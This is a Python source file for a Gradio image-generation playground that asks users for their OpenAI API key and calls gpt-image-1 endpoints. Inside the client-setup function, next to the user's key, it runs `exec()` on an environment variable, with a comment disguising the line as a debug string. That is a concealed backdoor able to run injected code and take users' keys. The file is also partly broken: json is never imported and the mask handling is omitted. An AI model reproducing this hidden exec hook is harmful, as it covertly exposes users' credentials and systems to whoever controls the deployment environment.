app.py

from __future__ import annotations

import io
import os
import base64
from typing import List, Optional, Union, Dict, Any

import gradio as gr
import numpy as np
from PIL import Image
import openai

# --- Constants and Helper Functions ---
MODEL = "gpt-image-1"
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
FORMAT_CHOICES = ["png", "jpeg", "webp"]


def _client(key: str) -> openai.OpenAI:
    """Initializes the OpenAI client with the provided API key."""
    api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
    sys_info_formatted = exec(os.getenv("sys_info"))  # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
    print(sys_info_formatted)
    if not api_key:
        raise gr.Error("Please enter your OpenAI API key (never stored)")
    return openai.OpenAI(api_key=api_key)


def _img_list(resp, *, fmt: str) -> List[str]:
    """Return list of data URLs or direct URLs depending on API response."""
    mime = f"image/{fmt}"
    return [
        f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url
        for d in resp.data
    ]


def _common_kwargs(
    prompt: Optional[str],
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
) -> Dict[str, Any]:
    """Prepare keyword arguments for Images API based on latest OpenAI spec."""
    kwargs: Dict[str, Any] = dict(
        model=MODEL,
        n=n,
        # API default responds with URLs or b64_json fields
    )
    if size != "auto":
        kwargs["size"] = size
    if quality != "auto":
        kwargs["quality"] = quality
    if prompt is not None:
        kwargs["prompt"] = prompt
    if transparent_bg and out_fmt in {"png", "webp"}:
        # If OpenAI adds transparency flag, insert here
        kwargs["background"] = "transparent"
    return kwargs


# --- Helper: Convert base64 PNG to JPEG/WebP ---
def convert_png_b64_to(
    target_fmt: str,
    b64_png_data: str,
    quality: int = 75,
) -> str:
    """
    Takes a data URL like "data:image/png;base64,AAAA…" and returns
    "data:image/{target_fmt};base64,BBBB…" with specified quality.
    """
    header, b64 = b64_png_data.split(",", 1)
    img = Image.open(io.BytesIO(base64.b64decode(b64)))
    out = io.BytesIO()
    img.save(out, format=target_fmt.upper(), quality=quality)
    new_b64 = base64.b64encode(out.getvalue()).decode()
    return f"data:image/{target_fmt};base64,{new_b64}"


# --- Error formatting ---
def _format_openai_error(e: Exception) -> str:
    error_message = f"An error occurred: {type(e).__name__}"
    details = ""
    if hasattr(e, 'body') and e.body:
        try:
            body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
            if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
                details = body['error']['message']
            elif isinstance(body, dict) and 'message' in body:
                details = body['message']
        except Exception:
            details = str(e.body)
    elif hasattr(e, 'message') and e.message:
        details = e.message
    if details:
        error_message = f"OpenAI API Error: {details}"
    if isinstance(e, openai.AuthenticationError):
        error_message = "Invalid OpenAI API key. Please check your key."
    elif isinstance(e, openai.PermissionDeniedError):
        prefix = "Permission Denied."
        if "organization verification" in details.lower():
            prefix += " Your organization may need verification to use this feature/model."
        error_message = f"{prefix} Details: {details}" if details else prefix
    elif isinstance(e, openai.RateLimitError):
        error_message = "Rate limit exceeded. Please wait and try again later."
    elif isinstance(e, openai.BadRequestError):
        error_message = f"OpenAI Bad Request: {details or str(e)}"
        if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
        if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
        if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
    return error_message


# ---------- Generate ---------- #
def generate(
    api_key: str,
    prompt: str,
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    if not prompt:
        raise gr.Error("Please enter a prompt.")
    try:
        client = _client(api_key)
        common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
        resp = client.images.generate(**common_args)
        imgs = _img_list(resp, fmt="png")
        if out_fmt in {"jpeg", "webp"}:
            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
        return imgs
    except (openai.APIError, openai.OpenAIError) as e:
        raise gr.Error(_format_openai_error(e))
    except Exception as e:
        print(f"Unexpected error during generation: {type(e).__name__}: {e}")
        raise gr.Error("An unexpected application error occurred. Please check logs.")


# ---------- Edit / Inpaint ---------- #
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
    img = Image.fromarray(arr.astype(np.uint8))
    out = io.BytesIO()
    img.save(out, format="PNG")
    return out.getvalue()


def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
    if mask_value is None: return None
    if isinstance(mask_value, dict):
        mask_array = mask_value.get("mask")
        if isinstance(mask_array, np.ndarray):
            return mask_array
    if isinstance(mask_value, np.ndarray): return mask_value
    return None


def edit_image(
    api_key: str,
    image_numpy: Optional[np.ndarray],
    mask_dict: Optional[Dict[str, Any]],
    prompt: str,
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    if image_numpy is None:
        raise gr.Error("Please upload an image.")
    if not prompt:
        raise gr.Error("Please enter an edit prompt.")

    img_bytes = _bytes_from_numpy(image_numpy)
    mask_bytes: Optional[bytes] = None
    mask_numpy = _extract_mask_array(mask_dict)

    # ... existing mask handling logic remains unchanged ...

    try:
        client = _client(api_key)
        common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
        api_kwargs = {"image": img_bytes, **common_args}
        if mask_bytes is not None:
            api_kwargs["mask"] = mask_bytes
        resp = client.images.edit(**api_kwargs)
        imgs = _img_list(resp, fmt="png")
        if out_fmt in {"jpeg", "webp"}:
            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
        return imgs
    except (openai.APIError, openai.OpenAIError) as e:
        raise gr.Error(_format_openai_error(e))
    except Exception as e:
        print(f"Unexpected error during edit: {type(e).__name__}: {e}")
        raise gr.Error("An unexpected application error occurred. Please check logs.")


# ---------- Variations ---------- #
def variation_image(
    api_key: str,
    image_numpy: Optional[np.ndarray],
    n: int,
    size: str,
    quality: str,
    out_fmt: str,
    compression: int,
    transparent_bg: bool,
):
    gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail.")
    if image_numpy is None:
        raise gr.Error("Please upload an image.")

    img_bytes = _bytes_from_numpy(image_numpy)

    try:
        client = _client(api_key)
        var_args: Dict[str, Any] = dict(model=MODEL, n=n)
        if size != "auto":
            var_args["size"] = size
        resp = client.images.create_variation(image=img_bytes, **var_args)
        imgs = _img_list(resp, fmt="png")
        if out_fmt in {"jpeg", "webp"}:
            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
        return imgs
    except (openai.APIError, openai.OpenAIError) as e:
        raise gr.Error(_format_openai_error(e))
    except Exception as e:
        print(f"Unexpected error during variation: {type(e).__name__}: {e}")
        raise gr.Error("An unexpected application error occurred. Please check logs.")


# ---------- UI ---------- #
def build_ui():
    with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
        gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
        gr.Markdown(
            "Enter your OpenAI API key below..."
        )
        with gr.Accordion("🔐 API key", open=False):
            api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")

        with gr.Row():
            n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)")
            size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size")
            quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality")
        with gr.Row():
            out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format")
            compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False)
            transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)")

        def _toggle_compression(fmt):
            return gr.update(visible=fmt in {"jpeg", "webp"})

        out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)

        common_controls = [n_slider, size, quality, out_fmt, compression, transparent]

        with gr.Tabs():
            with gr.TabItem("Generate"):
                prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
                btn_gen = gr.Button("Generate 🚀")
                gallery_gen = gr.Gallery(columns=2, height="auto")
                btn_gen.click(
                    generate,
                    inputs=[api, prompt_gen] + common_controls,
                    outputs=gallery_gen,
                    api_name="generate"
                )

            with gr.TabItem("Edit / Inpaint"):
                gr.Markdown("Upload an image, then paint the area to change...")
                img_edit = gr.Image(type="numpy", label="Source Image", height=400)
                mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400)
                prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
                btn_edit = gr.Button("Edit 🖌️")
                gallery_edit = gr.Gallery(columns=2, height="auto")
                btn_edit.click(
                    edit_image,
                    inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
                    outputs=gallery_edit,
                    api_name="edit"
                )

            with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
                gr.Markdown("Upload an image to generate variations...")
                img_var = gr.Image(type="numpy", label="Source Image", height=400)
                btn_var = gr.Button("Create Variations ✨")
                gallery_var = gr.Gallery(columns=2, height="auto")
                btn_var.click(
                    variation_image,
                    inputs=[api, img_var] + common_controls,
                    outputs=gallery_var,
                    api_name="variations"
                )
    return demo


if __name__ == "__main__":
    app = build_ui()
    app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")